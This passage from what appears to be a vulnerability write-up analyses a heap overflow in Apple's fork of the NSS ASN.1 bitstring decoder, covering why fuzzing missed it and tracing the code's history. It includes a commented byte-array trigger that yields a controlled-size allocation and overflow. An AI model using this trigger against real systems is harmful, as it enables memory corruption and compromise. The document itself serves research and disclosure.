<p class="c0 c15"><span class="c9"></span></p><a id="t.f2043ae4749f0304b8055ed271eca98bdb5b783d"></a><a id="t.12"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">contents_length </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c3"> </span><span class="c1">&&</span><span class="c3"> </span><span class="c1">(!</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">indefinite</span><span class="c1">))</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*</span></p>
<p class="c6"><span class="c23"> * A zero-length simple or constructed string; we are done.</span></p>
<p class="c6"><span class="c23"> */</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> afterEndOfContents</span><span class="c1">;</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Here they're detecting a definite-length string type with a content length of 0. But this doesn't handle the edge case of a bitstring which consists only of the unused-bits count byte. The </span><span class="c7">state->contents_length</span><span class="c9"> value of that bitstring will be 1, but it doesn't actually have any "contents". </span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>It's this case which the </span><span class="c7">(state->contents_length == 1)</span><span> conditional in </span><span class="c7">sec_asn1d_parse_bit_string</span><span class="c9"> matches:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.cc85cec956c682ae2159b3e2792de03dfdc37f3c"></a><a id="t.13"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">((</span><span class="c3">state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1">||</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">contents_length </span><span class="c1">==</span><span class="c3"> </span><span class="c11">1</span><span class="c1">))</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest </span><span class="c1">!=</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*</span><span class="c3">item </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*)(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Data</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Length</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">contents_length </span><span class="c1">==</span><span class="c3"> </span><span class="c11">1</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/* skip over (unused) remainder byte */</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">else</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>By setting </span><span class="c7">state->place</span><span> to </span><span class="c7">beforeEndOfContents</span><span> they are again trying to short-circuit the state machine to skip ahead to the state after the string contents have been consumed. But here they take an additional step which they didn't take when trying to achieve exactly the same thing in </span><span class="c7">prepareForContents</span><span>. In addition to updating </span><span class="c7">state->place</span><span> they also </span><span class="c7">NULL</span><span> out the </span><span class="c7">dest</span><span> </span><span class="c7">SecAsn1Item</span><span>'s </span><span class="c7">Data</span><span> field and set the </span><span class="c7">Length</span><span> to </span><span class="c7">0</span><span class="c9">.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>I mentioned earlier that the new child states which are allocated to recursively parse the sub-strings of constructed strings get a </span><span class="c17">copy</span><span> of the parent's dest field (which is a pointer to a pointer to the output buffer.) This makes sense: that output buffer is only allocated once then gets recursively filled-in in a linear fashion by the children. (Technically this isn't actually how it works if the outermost string is indefinite length, there's separate handling for that case which instead builds a linked-list of substrings which are eventually concatenated, see </span><span class="c7">sec_asn1d_concat_substrings</span><span class="c9">.)</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>If the output buffer is only allocated once, what happens if you set </span><span class="c7">Data</span><span> to </span><span class="c7">NULL</span><span class="c9"> like they do here? Taking a step back, does that actually make any sense at all?</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>No, I don't think it makes any sense. Setting </span><span class="c7">Data</span><span> to </span><span class="c7">NULL</span><span class="c9"> at this point should at the very least cause a memory leak, as it's the only pointer to the output buffer.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The fun part though is that that's not the only consequence of </span><span class="c7">NULL</span><span>ing out that pointer. </span><span class="c7">item->Data</span><span class="c9"> is used to signal something else.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Here's a snippet from </span><span class="c7">prepare_for_contents</span><span class="c9"> when it's determining whether there's enough space in the output buffer for this substring</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.d41f98cf14153779bd60c5cf6b4f85e93e5bdb90"></a><a id="t.14"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c1">}</span><span class="c3"> </span><span class="c16">else</span><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">substring</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*</span></p>
<p class="c6"><span class="c23"> * If we are a substring of a constructed string, then we may</span></p>
<p class="c6"><span class="c23"> * not have to allocate anything (because our parent, the</span></p>
<p class="c6"><span class="c23"> * actual constructed string, did it for us). If we are a</span></p>
<p class="c6"><span class="c23"> * substring and we *do* have to allocate, that means our</span></p>
<p class="c6"><span class="c23"> * parent is an indefinite-length, so we allocate from our pool;</span></p>
<p class="c6"><span class="c23"> * later our parent will copy our string into the aggregated</span></p>
<p class="c6"><span class="c23"> * whole and free our pool allocation.</span></p>
<p class="c6"><span class="c23"> */</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">item</span><span class="c1">-></span><span class="c20">Data</span><span class="c3"> </span><span class="c1">==</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">item</span><span class="c1">-></span><span class="c20">Length</span><span class="c3"> </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> poolp </span><span class="c1">=</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">our_pool</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span><span class="c3"> </span><span class="c16">else</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> alloc_len </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>As the comment implies, if both </span><span class="c7">item->Data</span><span> is </span><span class="c7">NULL</span><span> at this point and </span><span class="c7">state->substring</span><span> is true, then (they believe) it </span><span class="c17">must</span><span> be the case that they are currently parsing a substring of an outer-level indefinite string, which has no definite-sized buffer already allocated. In that case the meaning of the </span><span class="c30">item->Data</span><span> pointer is different to that which we describe earlier: it's merely a temporary buffer meant to hold only this substring. Just above here </span><span class="c7">alloc_len</span><span> was set to the content length of this substring; and for the outer-</span><span class="c17">definite</span><span>-length case it's vitally important that </span><span class="c7">alloc_len</span><span> then gets set to 0 here (which is really indicating that a buffer has </span><span class="c17">already</span><span> been allocated and they </span><span class="c17">must not</span><span class="c9"> allocate a new one.)</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>To emphasize the potentially subtle point: the issue is that using this conjunction (</span><span class="c30">state->substring && !item->Data</span><span>) for determining whether this a substring of a definite length or outer-level-indefinite string is </span><span class="c17">not</span><span class="c9"> the same as the method used by the convoluted bounds checking code we saw earlier. That method walks up the current state stack and checks the indefinite bits of the super-strings to determine whether they're processing a substring of an outer-level-indefinite string.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">Putting that all together, you might be able to see where this is going... (but it is still pretty subtle.)</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">Assume that we have an outer definite-length constructed bitstring with three primitive bitstrings as substrings:</span></p>
<p class="c6 c8 c15"></p>
<p class="c6 c8 c15"><span class="c9"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrOQ03pJyD_2kyYzOGet_H7mP9Lt9Q297bOTvQ_nuYVxzItU8QoydNBJKi9CS537QEi5dSLjoK_y7rEw-VouOmd52e30UMUqgMCQWA06maNKRshSqr2eyyaIHqtfy-okXJy2qxcsiBuNvNO8FXGCHXSwjAzEWl5esvG0N8ObbRPK3eIOam7z3WMQMG/s831/image5%20%281%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrOQ03pJyD_2kyYzOGet_H7mP9Lt9Q297bOTvQ_nuYVxzItU8QoydNBJKi9CS537QEi5dSLjoK_y7rEw-VouOmd52e30UMUqgMCQWA06maNKRshSqr2eyyaIHqtfy-okXJy2qxcsiBuNvNO8FXGCHXSwjAzEWl5esvG0N8ObbRPK3eIOam7z3WMQMG/s831/image5%20%281%29%281%29.png" border="0" alt="" style="max-height: 750; max-width: 600px; "title="" /></a></span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Upon encountering the first outer-most definite length constructed bitstring, the code will allocate a fixed-size buffer, large enough to store all the remaining input which makes up this string, which in this case is 42 bytes. At this point </span><span class="c7">dest->Data</span><span class="c9"> points to that buffer.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>They then allocate a child state, which gets a copy of the </span><span class="c7">dest</span><span> pointer (not a copy of the </span><span class="c7">dest</span><span> </span><span class="c7">SecAsn1Item</span><span> object; a copy of a pointer </span><span class="c26">to</span><span class="c9"> it), and proceed to parse the first child substring.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>This is a primitive bitstring with a length of </span><span class="c7">1</span><span> which triggers the vulnerable path in </span><span class="c7">sec_asn1d_parse_bit_string</span><span> and sets </span><span class="c7">dest->Data</span><span> to </span><span class="c7">NULL</span><span>. The state machine skips ahead to </span><span class="c7">beforeEndOfContents</span><span> then eventually the next substring gets parsed - this time with </span><span class="c7">dest->Data == NULL</span><span class="c9">.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Now the logic goes wrong in a bad way and, as we saw in the snippet above, a new </span><span class="c7">dest->Data</span><span> buffer gets allocated which is the size of only this substring (2 bytes) when in fact </span><span class="c7">dest->Data</span><span class="c9"> should already point to a buffer large enough to hold the entire outer-level-indefinite input string. This bitstring's contents then get parsed and copied into that buffer.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Now we come to the third substring. </span><span class="c7">dest->Data</span><span> is no longer </span><span class="c7">NULL</span><span>; but the code now has no way of determining that the buffer was in fact only (erroneously) allocated to hold a single substring. It believes the invariant that </span><span class="c7">item->Data</span><span> only gets allocated </span><span class="c17">once</span><span>, when the first outer-level definite length string is encountered, and it's that fact alone which it uses to determine whether </span><span class="c7">dest->Data</span><span class="c9"> points to a buffer large enough to have this substring appended to it. It then happily appends this third substring, writing outside the bounds of the buffer allocated to store only the second substring.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c19 c17 c28">This gives you a great memory corruption primitive: you can cause allocations of a controlled size and then overflow them with an arbitrary number of arbitrary bytes.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">Here's an example encoding for an ASN.1 bitstring which triggers this issue:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.1261584b92e8184a2715fd7e3223a95479b2f4e0"></a><a id="t.15"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> uint8_t concat_bitstrings_constructed_definite_with_zero_len_realloc</span><span class="c1">[]</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c1">{</span><span class="c3">ASN1_CLASS_UNIVERSAL </span><span class="c1">|</span><span class="c3"> ASN1_CONSTRUCTED </span><span class="c1">|</span><span class="c3"> ASN1_BIT_STRING</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// (0x23)</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x4a</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// initial allocation size</span></p>
<p class="c6"><span class="c3"> ASN1_CLASS_UNIVERSAL </span><span class="c1">|</span><span class="c3"> ASN1_PRIMITIVE </span><span class="c1">|</span><span class="c3"> ASN1_BIT_STRING</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x1</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// force item->Data = NULL</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x0</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// number of unused bits in the final byte</span></p>
<p class="c6"><span class="c3"> ASN1_CLASS_UNIVERSAL </span><span class="c1">|</span><span class="c3"> ASN1_PRIMITIVE </span><span class="c1">|</span><span class="c3"> ASN1_BIT_STRING</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x2</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// this is the reallocation size</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x0</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// number of unused bits in the final byte</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0xff</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// only byte of bitstring</span></p>
<p class="c6"><span class="c3"> ASN1_CLASS_UNIVERSAL </span><span class="c1">|</span><span class="c3"> ASN1_PRIMITIVE </span><span class="c1">|</span><span class="c3"> ASN1_BIT_STRING</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x41</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// 64 actual bytes, plus the remainder, will cause 0x40 byte memcpy one byte in to 2 byte allocation</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0x0</span><span class="c1">,</span><span class="c3"> </span><span class="c23">// number of unused bits in the final byte</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0xff</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">0xff</span><span class="c1">,</span><span class="c23">// -- continues for overflow</span></p></td></tr></tbody></table><h2 class="c8 c15 c32" id="h.vxzzlpbs8x7"><span class="c31 c28">Why wasn't this found by fuzzing?</span></h2>
<p class="c6 c8 c15"><span>This is a reasonable question to ask. This source code is really really hard to audit, even with the diff it was at least a week of work to figure out the true root cause of the bug. I'm not sure if I would have spotted this issue during a code audit. It's very broken but it's quite subtle and you have to figure out a </span><span class="c17">lot</span><span class="c9"> about the state machine and the bounds-checking rules to see it - I think I might have given up before I figured it out and gone to look for something easier.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">But the trigger test-case is neither structurally complex nor large, and feels within-grasp for a fuzzer. So why wasn't it found? I'll offer two points for discussion:</span></p><h3 class="c8 c15 c33" id="h.3uiruiqbxcn4"><span class="c10">Perhaps it's not being fuzzed?</span></h3>
<p class="c6 c8 c15"><span>Or at least, it's not being fuzzed in the exact form which it appears in Apple's Security.framework library. I understand that both Mozilla and Google do fuzz the NSS ASN.1 parser and have found a bunch of vulnerabilities, but note that the key part of the vulnerable code ("</span><span class="c30">|| (state->contents_length == 1"</span><span> in </span><span class="c30">sec_asn1d_parse_bit_string</span><span class="c9">) isn't present in upstream NSS (more on that below.)</span></p><h3 class="c33 c8 c15" id="h.d8eztr5gmfv7"><span class="c10">Can it be fuzzed effectively?</span></h3>
<p class="c6 c8 c15"><span>Even if you did build the Security.framework version of the code and used a coverage guided fuzzer, you might well not trigger any crashes. The code uses a custom heap allocator and you'd have to either replace that with direct calls to the system allocator or use ASAN's custom allocator hooks. Note that </span><span class="c21"><a class="c241" href="https://searchfox.org/mozilla-central/source/nsprpub/lib/ds/plarena.h#128">upstream NSS does do that</a></span><span>, but as I </span><span>understand</span><span class="c9"> it, Apple's fork doesn't.</span></p><h2 class="c32 c8 c15" id="h.k3orbgexvo70"><span class="c31 c28">History</span></h2>
<p class="c6 c8 c15"><span>I'm always interested in not just understanding how a vulnerability works but how it was introduced. This case is a particularly compelling example because once you understand the bug, the code construct initially looks extremely suspicious. It </span><span class="c17">only</span><span> exists in Apple's fork of NSS and the only impact of that change is to introduce a perfect memory corruption primitive. But let's go through the history of the code to convince ourselves that it is </span><span>much more likely that it was just an unfortunate accident:</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The earliest reference to this code I can find is </span><span class="c21"><a class="c241" href="https://github.com/jrmuizel/mozilla-cvs-history/blob/5dea64f5a5bc55978a9f4632a5f59679572c7985/security/nss/lib/util/secasn1d.c">this, which appears to be the initial checkin in the Mozilla CVS repo on March 31, 2000</a></span><span class="c9">:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.fa2500551086942ee26203176218d93c890969af"></a><a id="t.16"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">static</span><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span></p>
<p class="c6"><span class="c3">sec_asn1d_parse_bit_string </span><span class="c1">(</span><span class="c3">sec_asn1d_state </span><span class="c1">*</span><span class="c3">state</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">const</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">,</span><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> len</span><span class="c1">)</span></p>
<p class="c6"><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c16">byte</span><span class="c1">;</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">></span><span class="c3"> </span><span class="c11">0</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">==</span><span class="c3"> beforeBitString</span><span class="c1">);</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">len </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> needBytes</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">byte</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">char</span><span class="c1">)</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c16">byte</span><span class="c3"> </span><span class="c1">></span><span class="c3"> </span><span class="c11">7</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> PORT_SetError </span><span class="c1">(</span><span class="c3">SEC_ERROR_BAD_DER</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> decodeError</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">bit_string_unused_bits </span><span class="c1">=</span><span class="c3"> </span><span class="c16">byte</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> duringBitString</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">-=</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>On August 24th, 2001 the form of the code changed to something like the current version, </span><span class="c21"><a class="c241" href="https://github.com/jrmuizel/mozilla-cvs-history/commit/4f4edc3a5054512a54fda651497d1dafe77f7656">in </a></span><span class="c21"><a class="c241" href="https://github.com/jrmuizel/mozilla-cvs-history/commit/4f4edc3a5054512a54fda651497d1dafe77f7656">this commit</a></span><span class="c21"><a class="c241" href="https://github.com/jrmuizel/mozilla-cvs-history/commit/4f4edc3a5054512a54fda651497d1dafe77f7656"> with the message "Memory leak fixes."</a></span><span class="c9">:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.0b11f6358ac77c720b0e948095a2bc43c83ffaf3"></a><a id="t.17"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">static</span><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span></p>
<p class="c6"><span class="c3">sec_asn1d_parse_bit_string </span><span class="c1">(</span><span class="c3">sec_asn1d_state </span><span class="c1">*</span><span class="c3">state</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">const</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">,</span><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> len</span><span class="c1">)</span></p>
<p class="c6"><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c16">byte</span><span class="c1">;</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c1 c12">-</span><span class="c3 c12"> PORT_Assert </span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">pending </span><span class="c1 c12">></span><span class="c3 c12"> </span><span class="c11 c12">0</span><span class="c1 c12">);</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*PORT_Assert (state->pending > 0); */</span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">==</span><span class="c3"> beforeBitString</span><span class="c1">);</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c16 c4">if</span><span class="c3 c4"> </span><span class="c1 c4">(</span><span class="c3 c4">state</span><span class="c1 c4">-></span><span class="c3 c4">pending </span><span class="c1 c4">==</span><span class="c3 c4"> </span><span class="c11 c4">0</span><span class="c1 c4">)</span><span class="c3 c4"> </span><span class="c1 c4">{</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c16 c4">if</span><span class="c3 c4"> </span><span class="c1 c4">(</span><span class="c3 c4">state</span><span class="c1 c4">-></span><span class="c3 c4">dest </span><span class="c1 c4">!=</span><span class="c3 c4"> NULL</span><span class="c1 c4">)</span><span class="c3 c4"> </span><span class="c1 c4">{</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c20 c4">SECItem</span><span class="c3 c4"> </span><span class="c1 c4">*</span><span class="c3 c4">item </span><span class="c1 c4">=</span><span class="c3 c4"> </span><span class="c1 c4">(</span><span class="c20 c4">SECItem</span><span class="c3 c4"> </span><span class="c1 c4">*)(</span><span class="c3 c4">state</span><span class="c1 c4">-></span><span class="c3 c4">dest</span><span class="c1 c4">);</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> item</span><span class="c1 c4">-></span><span class="c3 c4">data </span><span class="c1 c4">=</span><span class="c3 c4"> NULL</span><span class="c1 c4">;</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> item</span><span class="c1 c4">-></span><span class="c3 c4">len </span><span class="c1 c4">=</span><span class="c3 c4"> </span><span class="c11 c4">0</span><span class="c1 c4">;</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> state</span><span class="c1 c4">-></span><span class="c3 c4">place </span><span class="c1 c4">=</span><span class="c3 c4"> beforeEndOfContents</span><span class="c1 c4">;</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c16 c4">return</span><span class="c3 c4"> </span><span class="c11 c4">0</span><span class="c1 c4">;</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c1 c4">}</span></p>
<p class="c6"><span class="c1 c4">+</span><span class="c3 c4"> </span><span class="c1 c4">}</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">len </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> needBytes</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">byte</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">char</span><span class="c1">)</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c16">byte</span><span class="c3"> </span><span class="c1">></span><span class="c3"> </span><span class="c11">7</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> PORT_SetError </span><span class="c1">(</span><span class="c3">SEC_ERROR_BAD_DER</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> decodeError</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6 c14"><span class="c2"></span></p>
